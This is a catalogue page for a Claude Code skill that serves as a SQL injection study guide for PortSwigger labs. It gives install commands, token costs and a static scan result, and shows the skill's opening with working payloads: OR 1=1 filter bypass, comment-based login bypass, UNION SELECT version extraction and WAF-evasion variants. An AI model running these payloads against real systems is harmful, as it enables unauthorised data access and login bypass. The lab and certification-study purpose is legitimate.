SQL Injection — Complete Deep Dive

SQL Injection — Complete Deep Dive is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 26 tokens per session (3,016 once invoked), scanned B, original, Apache-2.0.

A security-testing study guide for SQL injection, a vulnerability where input changes a database query. It uses PortSwigger lab examples and payloads.

In plain words
What is it for?
It is for BSCP certification study, bug-bounty testing, and practicing database-query attacks with Burp Suite.
Why use it?
It helps testers learn how poorly protected inputs can expose hidden data and how filters may be bypassed in controlled labs.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit It is for BSCP certification study, bug-bounty testing, and practicing database-query attacks with Burp Suite.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/sql-injection

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for SQL Injection — Complete Deep Dive

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/sql-injection/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/sql-injection)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/sql-injection"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/sql-injection/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for SQL Injection — Complete Deep Dive

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/sql-injection"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/sql-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 26 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,016 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00026 $0.03016
Opus 5 $0.00013 $0.01508
Sonnet 5 $0.00005 $0.00603
Haiku 4.5 $0.00003 $0.00302

Measured 7d ago against content hash b1a146069e96, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade B, and why

SQL Injection — Complete Deep Dive scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

# Step 3: Extract credentials

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python]
skills/bug-hunting/deep-dive-labs/sql-injection/SKILL.md · 313 lines

How it starts

The opening of the file, as written. The whole thing — 313 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SQL Injection — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • Studying for BSCP (Burp Suite Certified Practitioner) certification
  • Testing real-world targets for these vulnerability classes
  • Bug bounty hunting — these exact techniques find real bugs
  • Building exploitation chains

Prerequisites

  • Burp Suite Professional (Community works for most)
  • Browser with proxy configured
  • Burp Collaborator or interactsh for OOB testing

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: WHERE clause hidden data 🟢 APPRENTICE

GET /filter?category=Gifts'+OR+1=1-- HTTP/1.1

Why it works: The -- comments out the rest of the WHERE clause (AND released=1), exposing unreleased products. Zero-day variant: Try category=Gifts'/**/OR/**/1=1-- for WAF bypass using SQL comments as whitespace.

Lab 2: Login bypass 🟢 APPRENTICE

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=administrator'--&password=anything

Why it works: The '-- after administrator comments out the password check in the SQL query. Zero-day: Try username=admin'/*&password=*/OR/**/1=1-- — multi-line comment wrapping.

Lab 3: DB type/version on Oracle 🟡 PRACTITIONER

GET /filter?category=Gifts'+UNION+SELECT+banner,NULL+FROM+v$version-- HTTP/1.1

Step 1: Determine columns: '+ORDER+BY+2-- (if 2 works but 3 errors = 2 columns) Step 2: Oracle requires FROM: '+UNION+SELECT+NULL,NULL+FROM+dual-- Step 3: Extract: '+UNION+SELECT+banner,NULL+FROM+v$version--

Lab 4: DB type/version on MySQL/Microsoft 🟡 PRACTITIONER

Read the full file on GitHub · 313 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 313 lines · 26 tokens per session scan B b1a146069e96

Subscribe to this mod's changes

SQL Injection — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 26 tokens to every session and 3,016 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it B with 2 findings (harvests environment variables, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.